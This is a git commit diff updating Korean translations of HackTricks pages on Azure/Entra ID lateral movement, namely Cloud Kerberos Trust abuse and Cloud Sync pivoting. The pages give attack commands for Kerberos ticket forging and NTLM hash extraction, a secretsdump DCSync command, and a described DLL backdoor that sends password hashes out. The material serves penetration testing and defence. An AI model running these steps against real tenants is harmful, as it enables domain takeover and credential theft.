mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -12,25 +12,25 @@
|
||||
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Cloud Kerberos Trust가 구성된 경우 Entra ID에서 AD로 피벗하는 방법. Entra ID (Azure AD)의 Global Admin은 Cloud Kerberos Trust와 동기화 API를 악용하여 고급 권한 AD 계정을 가장하고, 그들의 Kerberos 티켓이나 NTLM 해시를 얻어 온프레미스 Active Directory를 완전히 손상시킬 수 있습니다—이 계정들이 클라우드와 동기화되지 않았더라도—실질적으로 클라우드에서 AD로의 권한 상승을 연결합니다.
|
||||
|
||||
- [**Cloud Sync**](az-cloud-sync.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 Cloud Sync를 악용하는 방법.
|
||||
- [**Cloud Sync**](az-cloud-sync.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우에 Cloud Sync를 악용하는 방법.
|
||||
|
||||
- [**Connect Sync**](az-connect-sync.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 Connect Sync를 악용하는 방법.
|
||||
- [**Connect Sync**](az-connect-sync.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우에 Connect Sync를 악용하는 방법.
|
||||
|
||||
- [**Domain Services**](az-domain-services.md): Azure Domain Services 서비스란 무엇이며, Entra ID에서 생성된 AD로 피벗하는 방법.
|
||||
|
||||
- [**Federation**](az-federation.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 Federation을 악용하는 방법.
|
||||
- [**Federation**](az-federation.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우에 Federation을 악용하는 방법.
|
||||
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 사용할 수 있는 다양한 공격.
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우에 사용할 수 있는 다양한 공격.
|
||||
|
||||
- [**Local Cloud Credentials**](az-local-cloud-credentials.md): PC가 손상되었을 때 클라우드에 대한 자격 증명을 찾는 방법.
|
||||
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md): 한 머신에서 다른 머신으로 로그인하기 위해 PRT를 기반으로 인증서를 생성하는 방법.
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md): PRT를 기반으로 인증서를 생성하여 한 머신에서 다른 머신으로 로그인하는 방법.
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): 브라우저에서 Azure 쿠키를 훔치고 이를 사용하여 로그인하는 방법.
|
||||
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): PRT란 무엇이며, 이를 훔치고 사용자가 가장하여 Azure 리소스에 접근하는 방법.
|
||||
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 Pass-through Authentication을 악용하는 방법.
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우에 Pass-through Authentication을 악용하는 방법.
|
||||
|
||||
- [**Seamless SSO**](az-seamless-sso.md): 온프레미스에서 클라우드로 이동하기 위해 Seamless SSO를 악용하는 방법.
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ DeployGPO.ps1 스크립트를 실행하면 다음 작업이 수행됩니다:
|
||||
|
||||
이 스크립트를 실행할 때 시스템 관리자는 두 가지 주요 매개변수인 **ServicePrincipalId**와 **ServicePrincipalClientSecret**을 제공해야 합니다. 또한 도메인, 공유를 호스팅하는 서버의 FQDN, 공유 이름과 같은 다른 매개변수도 필요합니다. 테넌트 ID, 리소스 그룹 및 기타 필요한 정보와 같은 추가 세부정보도 스크립트에 제공되어야 합니다.
|
||||
|
||||
DPAPI-NG 암호화를 사용하여 지정된 공유의 AzureArcDeploy 디렉토리에 암호화된 비밀이 생성됩니다. 암호화된 비밀은 encryptedServicePrincipalSecret이라는 이름의 파일에 저장됩니다. 이와 관련된 증거는 DeployGPO.ps1 스크립트에서 찾을 수 있으며, 여기서 암호화는 ProtectBase64를 호출하여 $descriptor와 $ServicePrincipalSecret을 입력으로 사용하여 수행됩니다. descriptor는 도메인 컴퓨터 및 도메인 컨트롤러 그룹 SID로 구성되어 있어, ServicePrincipalSecret은 도메인 컨트롤러 및 도메인 컴퓨터 보안 그룹에 의해서만 복호화될 수 있도록 합니다.
|
||||
DPAPI-NG 암호화를 사용하여 지정된 공유의 AzureArcDeploy 디렉토리에 암호화된 비밀이 생성됩니다. 암호화된 비밀은 encryptedServicePrincipalSecret이라는 이름의 파일에 저장됩니다. 이와 관련된 증거는 DeployGPO.ps1 스크립트에서 찾을 수 있으며, 여기서 암호화는 $descriptor와 $ServicePrincipalSecret을 입력으로 사용하여 ProtectBase64를 호출함으로써 수행됩니다. descriptor는 도메인 컴퓨터 및 도메인 컨트롤러 그룹 SID로 구성되어 있어, ServicePrincipalSecret은 도메인 컨트롤러 및 도메인 컴퓨터 보안 그룹에 의해서만 복호화될 수 있도록 보장합니다.
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Cloud Kerberos Trust
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**이 게시물은** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **에 대한 요약으로, 공격에 대한 추가 정보를 확인할 수 있습니다. 이 기술은** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**에서도 언급됩니다.**
|
||||
|
||||
@@ -18,20 +18,20 @@
|
||||
|
||||
- 공격자는 Entra ID 테넌트에서 **Global Admin(또는 Hybrid Identity Admin)** 권한을 가지고 있습니다(이 역할은 AD Connect **동기화 API**를 사용하여 Azure AD 사용자를 수정할 수 있습니다).
|
||||
|
||||
- 공격자가 인증할 수 있는 **하이브리드 사용자 계정**이 최소 하나 존재해야 합니다(AD와 AAD 모두에 존재). 이는 자격 증명을 알고 있거나 재설정하거나 비밀번호 없는 방법(예: 임시 액세스 패스)을 할당하여 기본 새로 고침 토큰(PRT)을 생성함으로써 얻을 수 있습니다.
|
||||
- 공격자가 인증할 수 있는 **하이브리드 사용자 계정**이 최소한 하나 존재해야 합니다(AD와 AAD 모두에 존재). 이는 자격 증명을 알고 있거나 재설정하거나 비밀번호 없는 방법(예: 임시 접근 패스)을 할당하여 기본 새로 고침 토큰(PRT)을 생성함으로써 얻을 수 있습니다.
|
||||
|
||||
- 기본 RODC "거부" 정책에 *포함되지 않은* 높은 권한의 **온프레미스 AD 대상 계정**이 필요합니다. 실제로 훌륭한 대상은 **AD Connect 동기화 계정**(종종 **MSOL_***로 명명됨)으로, AD에서 DCSync(복제) 권한을 가지고 있지만 일반적으로 내장 관리자 그룹의 구성원이 아닙니다. 이 계정은 일반적으로 Entra ID와 동기화되지 않으므로 충돌 없이 SID를 가장할 수 있습니다.
|
||||
- 기본 RODC "거부" 정책에 *포함되지 않는* 높은 권한의 **온프레미스 AD 대상 계정**이 필요합니다. 실제로 훌륭한 대상은 **AD Connect 동기화 계정**(종종 **MSOL_***로 명명됨)으로, AD에서 DCSync(복제) 권한을 가지고 있지만 일반적으로 내장 관리자 그룹의 구성원이 아닙니다. 이 계정은 일반적으로 Entra ID와 동기화되지 않으므로 충돌 없이 SID를 가장할 수 있습니다.
|
||||
|
||||
**공격 단계:**
|
||||
|
||||
1. **Azure AD 동기화 API 액세스 획득:** Global Admin 계정을 사용하여 Azure AD **Provisioning (sync) API**에 대한 액세스 토큰을 획득합니다. 이는 **ROADtools** 또는 **AADInternals**와 같은 도구를 사용하여 수행할 수 있습니다. 예를 들어, ROADtools(roadtx)를 사용하여:
|
||||
1. **Azure AD 동기화 API 접근 권한 얻기:** Global Admin 계정을 사용하여 Azure AD **Provisioning (sync) API**에 대한 액세스 토큰을 획득합니다. 이는 **ROADtools** 또는 **AADInternals**와 같은 도구를 사용하여 수행할 수 있습니다. 예를 들어, ROADtools(roadtx)를 사용하여:
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(대안으로, AADInternals의 `Connect-AADInt`를 사용하여 Global Admin으로 인증할 수 있습니다.)*
|
||||
|
||||
2. **하이브리드 사용자의 온프레미스 속성 수정:** Azure AD **동기화 API**를 활용하여 선택한 하이브리드 사용자의 **onPremises Security Identifier (SID)** 및 **onPremises SAMAccountName**을 대상 AD 계정과 일치하도록 설정합니다. 이는 Azure AD에 클라우드 사용자가 우리가 가장하고자 하는 온프레미스 계정에 해당함을 효과적으로 알립니다. 오픈 소스 **ROADtools Hybrid** 툴킷을 사용하여:
|
||||
2. **하이브리드 사용자의 온프레미스 속성 수정:** Azure AD **동기화 API**를 활용하여 선택한 하이브리드 사용자의 **onPremises Security Identifier (SID)**와 **onPremises SAMAccountName**을 대상 AD 계정과 일치하도록 설정합니다. 이는 Azure AD에 클라우드 사용자가 우리가 가장하고자 하는 온프레미스 계정에 해당함을 효과적으로 알립니다. 오픈 소스 **ROADtools Hybrid** 툴킷을 사용하여:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
@@ -40,27 +40,27 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
```
|
||||
> 사용자의 `sourceAnchor` (불변 ID)는 수정할 Azure AD 객체를 식별하는 데 필요합니다. 이 도구는 하이브리드 사용자의 온프레미스 SID와 SAM 계정 이름을 대상의 값(예: MSOL_xxxx 계정의 SID 및 SAM)으로 설정합니다. Azure AD는 일반적으로 이러한 속성을 Graph를 통해 변경하는 것을 허용하지 않지만(읽기 전용), 동기화 서비스 API는 이를 허용하며 Global Admin이 이 동기화 기능을 호출할 수 있습니다.
|
||||
|
||||
3. **Azure AD에서 부분 TGT 얻기:** 수정 후, 하이브리드 사용자로 Azure AD에 인증합니다(예: 장치에서 PRT를 얻거나 자격 증명을 사용하여). 사용자가 로그인할 때(특히 도메인 가입 또는 Entra 가입 Windows 장치에서), Azure AD는 Cloud Kerberos Trust가 활성화되어 있기 때문에 해당 계정에 대해 **부분 Kerberos TGT (TGT**<sub>**AD**</sub>)를 발급합니다. 이 부분 TGT는 AzureADKerberos$ RODC 키로 암호화되며 우리가 설정한 **대상 SID**를 포함합니다. 우리는 ROADtools를 통해 사용자에 대한 PRT를 요청하여 이를 시뮬레이션할 수 있습니다:
|
||||
3. **Azure AD에서 부분 TGT 얻기:** 수정 후, 하이브리드 사용자로 Azure AD에 인증합니다(예: 장치에서 PRT를 얻거나 자격 증명을 사용하여). 사용자가 로그인할 때(특히 도메인에 가입된 또는 Entra에 가입된 Windows 장치에서), Azure AD는 Cloud Kerberos Trust가 활성화되어 있기 때문에 해당 계정에 대해 **부분 Kerberos TGT (TGT**<sub>**AD**</sub>)를 발급합니다. 이 부분 TGT는 AzureADKerberos$ RODC 키로 암호화되며 우리가 설정한 **대상 SID**를 포함합니다. 우리는 ROADtools를 통해 사용자에 대한 PRT를 요청하여 이를 시뮬레이션할 수 있습니다:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
이것은 부분 TGT 및 세션 키를 포함하는 `.prt` 파일을 출력합니다. 계정이 클라우드 전용 비밀번호인 경우 Azure AD는 여전히 PRT 응답에 TGT_AD를 포함합니다.
|
||||
이것은 부분 TGT와 세션 키를 포함하는 `.prt` 파일을 출력합니다. 계정이 클라우드 전용 비밀번호인 경우, Azure AD는 여전히 PRT 응답에 TGT_AD를 포함합니다.
|
||||
|
||||
4. **부분 TGT를 전체 TGT로 교환 (AD에서):** 이제 부분 TGT를 온프레미스 도메인 컨트롤러에 제시하여 대상 계정에 대한 **전체 TGT**를 얻을 수 있습니다. 우리는 `krbtgt` 서비스(도메인의 기본 TGT 서비스)에 대한 TGS 요청을 수행하여 이를 수행합니다. 본질적으로 티켓을 전체 PAC이 포함된 일반 TGT로 업그레이드하는 것입니다. 이 교환을 자동화하는 도구가 있습니다. 예를 들어, ROADtools Hybrid의 스크립트를 사용하여:
|
||||
4. **부분 TGT를 전체 TGT로 교환 (AD에서):** 이제 부분 TGT를 온프레미스 도메인 컨트롤러에 제시하여 대상 계정에 대한 **전체 TGT**를 얻을 수 있습니다. 이는 `krbtgt` 서비스(도메인의 주요 TGT 서비스)에 대한 TGS 요청을 수행하여 이루어집니다. 본질적으로 티켓을 전체 PAC이 포함된 정상 TGT로 업그레이드하는 것입니다. 이 교환을 자동화하는 도구가 제공됩니다. 예를 들어, ROADtools Hybrid의 스크립트를 사용하여:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
이 스크립트(또는 Impacket 동등물)는 도메인 컨트롤러에 연락하여 대상 AD 계정에 대한 유효한 TGT를 검색하며, 특별한 Kerberos 확장이 사용되는 경우 계정의 NTLM 해시도 포함됩니다. **`KERB-KEY-LIST-REQ`** 확장은 DC에 암호화된 응답에서 대상 계정의 NTLM 해시를 반환하도록 요청하기 위해 자동으로 포함됩니다. 결과는 대상 계정에 대한 자격 증명 캐시(`full_tgt.ccache`) 또는 복구된 NTLM 비밀번호 해시입니다.
|
||||
이 스크립트(또는 Impacket 동등물)는 도메인 컨트롤러에 연락하여 대상 AD 계정에 대한 유효한 TGT를 검색하며, 특별한 Kerberos 확장이 사용될 경우 계정의 NTLM 해시도 포함됩니다. **`KERB-KEY-LIST-REQ`** 확장은 DC에 암호화된 응답에서 대상 계정의 NTLM 해시를 반환하도록 요청하기 위해 자동으로 포함됩니다. 결과는 대상 계정에 대한 자격 증명 캐시(`full_tgt.ccache`) 또는 복구된 NTLM 비밀번호 해시입니다.
|
||||
|
||||
5. **대상 가장하기 및 도메인 관리자 권한 상승:** 이제 공격자는 효과적으로 **대상 AD 계정을 제어**합니다. 예를 들어, 대상이 AD Connect **MSOL 계정**인 경우, 디렉토리에 대한 복제 권한이 있습니다. 공격자는 해당 계정의 자격 증명 또는 Kerberos TGT를 사용하여 AD에서 비밀번호 해시를 덤프하기 위해 **DCSync** 공격을 수행할 수 있습니다(도메인 KRBTGT 계정 포함). 예를 들어:
|
||||
5. **대상 가장하기 및 도메인 관리자 권한 상승:** 이제 공격자는 효과적으로 **대상 AD 계정을 제어**합니다. 예를 들어, 대상이 AD Connect **MSOL 계정**인 경우, 디렉터리에 대한 복제 권한이 있습니다. 공격자는 해당 계정의 자격 증명 또는 Kerberos TGT를 사용하여 AD에서 비밀번호 해시를 덤프하기 위해 **DCSync** 공격을 수행할 수 있습니다(도메인 KRBTGT 계정 포함). 예를 들어:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
이것은 모든 AD 사용자 비밀번호 해시를 덤프하여 공격자에게 KRBTGT 해시를 제공하며(이를 통해 도메인 Kerberos 티켓을 마음대로 위조할 수 있음) 사실상 AD에 대한 **Domain Admin** 권한을 부여합니다. 대상 계정이 다른 특권 사용자라면, 공격자는 전체 TGT를 사용하여 해당 사용자로서 도메인 리소스에 접근할 수 있습니다.
|
||||
이것은 모든 AD 사용자 비밀번호 해시를 덤프하여 공격자에게 KRBTGT 해시를 제공하며(이를 통해 도메인 Kerberos 티켓을 마음대로 위조할 수 있음) 사실상 **Domain Admin** 권한을 AD에 부여합니다. 대상 계정이 다른 특권 사용자라면, 공격자는 전체 TGT를 사용하여 해당 사용자로서 모든 도메인 리소스에 접근할 수 있습니다.
|
||||
|
||||
6. **정리:** 선택적으로, 공격자는 동일한 API를 통해 수정된 Azure AD 사용자의 원래 `onPremisesSAMAccountName` 및 SID를 복원하거나 생성된 임시 사용자를 삭제할 수 있습니다. 많은 경우, 다음 Azure AD Connect 동기화 주기가 동기화된 속성에서 무단 변경을 자동으로 되돌립니다. (그러나 이 시점에서 피해는 이미 발생했습니다 -- 공격자는 DA 권한을 가지고 있습니다.)
|
||||
6. **정리:** 선택적으로, 공격자는 동일한 API를 통해 수정된 Azure AD 사용자의 원래 `onPremisesSAMAccountName` 및 SID를 복원하거나 생성된 임시 사용자를 삭제할 수 있습니다. 많은 경우, 다음 Azure AD Connect 동기화 주기가 동기화된 속성의 무단 변경을 자동으로 되돌립니다. (그러나 이 시점에서 피해는 이미 발생했습니다 -- 공격자는 DA 권한을 가지고 있습니다.)
|
||||
|
||||
> [!WARNING]
|
||||
> 클라우드 신뢰 및 동기화 메커니즘을 악용함으로써, Azure AD의 Global Admin은 RODC 정책에 의해 명시적으로 보호되지 않는 거의 *모든* AD 계정을 가장할 수 있으며, 해당 계정이 클라우드와 동기화된 적이 없더라도 가능합니다. 기본 구성에서는, 이것이 **Azure AD 손상에서 온프레미스 AD 손상으로의 완전한 신뢰를 연결합니다**.
|
||||
@@ -72,4 +72,4 @@ secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
@@ -15,14 +15,14 @@
|
||||
- Entra ID에서 사용자 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`)가 **`Directory Synchronization Accounts`** 역할 (`d29b2b05-8046-44ba-8758-1e26182fcf32`)로 생성됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 이 역할은 많은 특권 권한을 가지고 있었으며 [**전역 관리자 권한을 상승시킬 수 있었습니다**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). 그러나 Microsoft는 이 역할의 모든 권한을 제거하고 단지 **`microsoft.directory/onPremisesSynchronization/standard/read`**라는 새로운 권한만 부여하기로 결정했습니다. 이 권한은 실제로 사용자의 비밀번호나 속성을 수정하거나 SP에 새로운 자격 증명을 추가하는 등의 특권 작업을 수행할 수 없습니다.
|
||||
> 이 역할은 많은 특권 권한을 가지고 있었으며 [**전역 관리자 권한을 상승시킬 수 있었습니다**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). 그러나 Microsoft는 이 역할의 모든 권한을 제거하고 단지 **`microsoft.directory/onPremisesSynchronization/standard/read`**라는 새로운 권한만 부여하기로 결정했습니다. 이 권한은 사용자 비밀번호나 속성을 수정하거나 SP에 새로운 자격 증명을 추가하는 등의 특권 작업을 수행할 수 없습니다.
|
||||
|
||||
- Entra ID에서도 **`AAD DC Administrators`** 그룹이 구성원이나 소유자 없이 생성됩니다. 이 그룹은 [`Microsoft Entra Domain Services`](./az-domain-services.md)를 사용할 경우 유용합니다.
|
||||
|
||||
- AD에서는 서비스 계정 **`provAgentgMSA`**가 **`pGMSA_<id>$@domain.com`**과 같은 SamAccountName으로 생성되거나 [**이 권한이 필요합니다**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) 사용자 정의 계정이 생성됩니다. 일반적으로 기본 계정이 생성됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 다른 권한 중에서 서비스 계정 **`provAgentgMSA`**는 DCSync 권한을 가지고 있어 **이를 타협하는 누구나 전체 디렉토리를 타협할 수 있습니다**. [DCSync에 대한 자세한 내용은 여기](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)를 참조하십시오.
|
||||
> 다른 권한 중에서 서비스 계정 **`provAgentgMSA`**는 DCSync 권한을 가지고 있어 **이를 손상시키는 누구나 전체 디렉토리를 손상시킬 수 있습니다**. [DCSync에 대한 자세한 내용은 여기](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)를 참조하십시오.
|
||||
|
||||
> [!NOTE]
|
||||
> 기본적으로 **`adminCount`** 속성이 1인 도메인 관리자와 같은 알려진 특권 그룹의 사용자는 보안상의 이유로 Entra ID와 동기화되지 않습니다. 그러나 이 속성이 없는 특권 그룹의 다른 사용자나 직접 높은 권한이 부여된 사용자는 **동기화될 수 있습니다**.
|
||||
@@ -36,21 +36,21 @@ az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **비밀번호 해시 동기화**를 활성화하면 사용자가 **AD의 비밀번호를 사용하여 Entra ID에 로그인할 수 있습니다**. 또한 AD에서 비밀번호가 수정될 때마다 Entra ID에서 업데이트됩니다.
|
||||
- **비밀번호 쓰기 백**도 활성화할 수 있으며, 이를 통해 사용자가 Entra ID에서 비밀번호를 수정하면 온프레미스 도메인에서 비밀번호가 자동으로 동기화됩니다. 그러나 [현재 문서에 따르면](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), 이를 위해 Connect Agent를 사용해야 하므로 [Az Connect Sync 섹션](./az-connect-sync.md)을 참조하십시오.
|
||||
- **비밀번호 쓰기 백**도 활성화할 수 있으며, 사용자가 Entra ID에서 비밀번호를 수정하면 온프레미스 도메인에서 비밀번호가 자동으로 동기화됩니다. 그러나 [현재 문서에 따르면](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), 이를 위해 Connect Agent를 사용해야 하므로 [Az Connect Sync 섹션](./az-connect-sync.md)을 참조하십시오.
|
||||
- **그룹 쓰기 백**: 이 기능은 Entra ID의 그룹 구성원이 온프레미스 AD로 다시 동기화될 수 있도록 합니다. 즉, 사용자가 Entra ID의 그룹에 추가되면 AD의 해당 그룹에도 추가됩니다.
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- AD 사용자가 AD에서 Entra ID로 동기화되고 있다면, AD에서 Entra ID로의 피벗은 간단합니다. **사용자의 비밀번호를 타협하거나 사용자의 비밀번호를 변경하거나 새 사용자를 생성하고 Entra ID 디렉토리에 동기화될 때까지 기다리면 됩니다(보통 몇 분 소요)**.
|
||||
- AD 사용자가 AD에서 Entra ID로 동기화되고 있다면, AD에서 Entra ID로의 피벗은 간단합니다. **사용자의 비밀번호를 손상시키거나 사용자의 비밀번호를 변경하거나 새 사용자를 생성하고 Entra ID 디렉토리에 동기화될 때까지 기다리면 됩니다(보통 몇 분 소요)**.
|
||||
|
||||
예를 들어 다음과 같이 할 수 있습니다.
|
||||
- **`provAgentgMSA`** 계정을 타협하고 DCSync 공격을 수행하여 일부 사용자의 비밀번호를 해독한 다음 이를 사용하여 Entra ID에 로그인합니다.
|
||||
- **`provAgentgMSA`** 계정을 손상시키고 DCSync 공격을 수행하여 일부 사용자의 비밀번호를 해독한 다음 이를 사용하여 Entra ID에 로그인합니다.
|
||||
- AD에서 새 사용자를 생성하고 Entra ID로 동기화될 때까지 기다린 다음 이를 사용하여 Entra ID에 로그인합니다.
|
||||
- AD에서 일부 사용자의 비밀번호를 수정하고 Entra ID로 동기화될 때까지 기다린 다음 이를 사용하여 Entra ID에 로그인합니다.
|
||||
|
||||
**`provAgentgMSA`** 자격 증명을 타협하기 위해:
|
||||
**`provAgentgMSA`** 자격 증명을 손상시키기 위해:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
@@ -81,13 +81,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Azure 또는 EntraID 역할을 속성에 따라 동기화된 사용자에게 부여하는 방법은 없습니다. 예를 들어 Cloud Sync 구성에서. 그러나 동기화된 사용자에게 자동으로 권한을 부여하기 위해 일부 **AD의 Entra ID 그룹**에 권한이 부여될 수 있으므로 해당 그룹 내의 동기화된 사용자도 권한을 받거나 **동적 그룹이 사용될 수 있습니다**. 따라서 항상 동적 규칙과 이를 악용할 수 있는 잠재적인 방법을 확인하십시오:
|
||||
> Azure 또는 EntraID 역할을 동기화된 사용자에게 속성에 따라 부여하는 방법은 없습니다. 예를 들어 Cloud Sync 구성에서. 그러나 동기화된 사용자에게 자동으로 권한을 부여하기 위해 일부 **AD의 Entra ID 그룹**에 권한이 부여될 수 있으므로 해당 그룹 내의 동기화된 사용자도 권한을 받거나 **동적 그룹이 사용될 수 있습니다**. 따라서 항상 동적 규칙과 이를 악용할 수 있는 잠재적인 방법을 확인하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
지속성과 관련하여 [이 블로그 게시물](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)은 [**dnSpy**](https://github.com/dnSpy/dnSpy)를 사용하여 **`C:\Program Files\Microsoft Azure AD Sync\Bin`**에 위치한 dll **`Microsoft.Online.Passwordsynchronisation.dll`**에 백도어를 걸 수 있다고 제안합니다. 이 dll은 Cloud Sync 에이전트가 비밀번호 동기화를 수행하는 데 사용되며, 동기화되는 사용자의 비밀번호 해시를 원격 서버로 유출하도록 만듭니다. 해시는 **`PasswordHashGenerator`** 클래스 내에서 생성되며, 블로그 게시물에서는 클래스가 다음과 같이 보이도록 일부 코드를 추가할 것을 제안합니다(비밀번호 해시를 유출하기 위한 `use System.Net` 및 `WebClient` 사용에 주목하십시오):
|
||||
지속성과 관련하여 [이 블로그 게시물](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)은 [**dnSpy**](https://github.com/dnSpy/dnSpy)를 사용하여 **`C:\Program Files\Microsoft Azure AD Sync\Bin`**에 위치한 dll **`Microsoft.Online.Passwordsynchronisation.dll`**에 백도어를 설정하는 것이 가능하다고 제안합니다. 이 dll은 Cloud Sync 에이전트가 비밀번호 동기화를 수행하는 데 사용되며, 이를 통해 동기화되는 사용자의 비밀번호 해시를 원격 서버로 유출할 수 있습니다. 해시는 **`PasswordHashGenerator`** 클래스 내에서 생성되며, 블로그 게시물에서는 클래스가 다음과 같이 보이도록 일부 코드를 추가할 것을 제안합니다(비밀번호 해시를 유출하기 위해 `use System.Net` 및 `WebClient` 사용에 주의하십시오):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -127,14 +127,14 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- **Password Writeback**가 활성화된 경우, Entra ID에서 일부 사용자의 비밀번호를 수정할 수 있으며, AD 네트워크에 접근할 수 있다면 이를 사용하여 연결할 수 있습니다. 비밀번호 쓰기 백에 대한 구성은 해당 에이전트를 사용하여 설정되므로 더 많은 정보는 [Az Connect Sync section](./az-connect-sync.md) 섹션을 확인하세요.
|
||||
- **Password Writeback**가 활성화된 경우, Entra ID의 일부 사용자의 비밀번호를 수정할 수 있으며, AD 네트워크에 접근할 수 있다면 이를 사용하여 연결할 수 있습니다. 비밀번호 쓰기 백에 대한 구성은 해당 에이전트를 사용하여 설정되므로 더 많은 정보는 [Az Connect Sync section](./az-connect-sync.md) 섹션을 확인하세요.
|
||||
|
||||
- 현재 Cloud Sync는 **"Microsoft Entra ID to AD"**를 허용하지만, 시간이 지나면서 EntraID 사용자를 AD로 동기화할 수 없다는 것을 발견했습니다. 이는 비밀번호 해시로 동기화된 EntraID 사용자만 동기화할 수 있으며, 동기화하려는 도메인과 동일한 도메인 포리스트에 속하는 도메인에서 온 사용자만 동기화할 수 있습니다. 자세한 내용은 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits)에서 확인할 수 있습니다:
|
||||
|
||||
> - 이러한 그룹은 온프레미스에서 동기화된 사용자 및/또는 추가로 클라우드에서 생성된 보안 그룹만 포함할 수 있습니다.
|
||||
> - 동기화된 온프레미스 사용자 계정은 이 클라우드에서 생성된 보안 그룹의 구성원이 될 수 있으며, 동일한 도메인 또는 교차 도메인에서 올 수 있지만, 모두 동일한 포리스트에서 와야 합니다.
|
||||
|
||||
따라서 이 서비스의 공격 표면(및 유용성)은 크게 줄어들며, 공격자는 다른 도메인에서 사용자를 손상시키기 위해 사용자가 동기화되는 초기 AD를 손상시켜야 합니다(그리고 두 도메인은 명백히 동일한 포리스트에 있어야 합니다).
|
||||
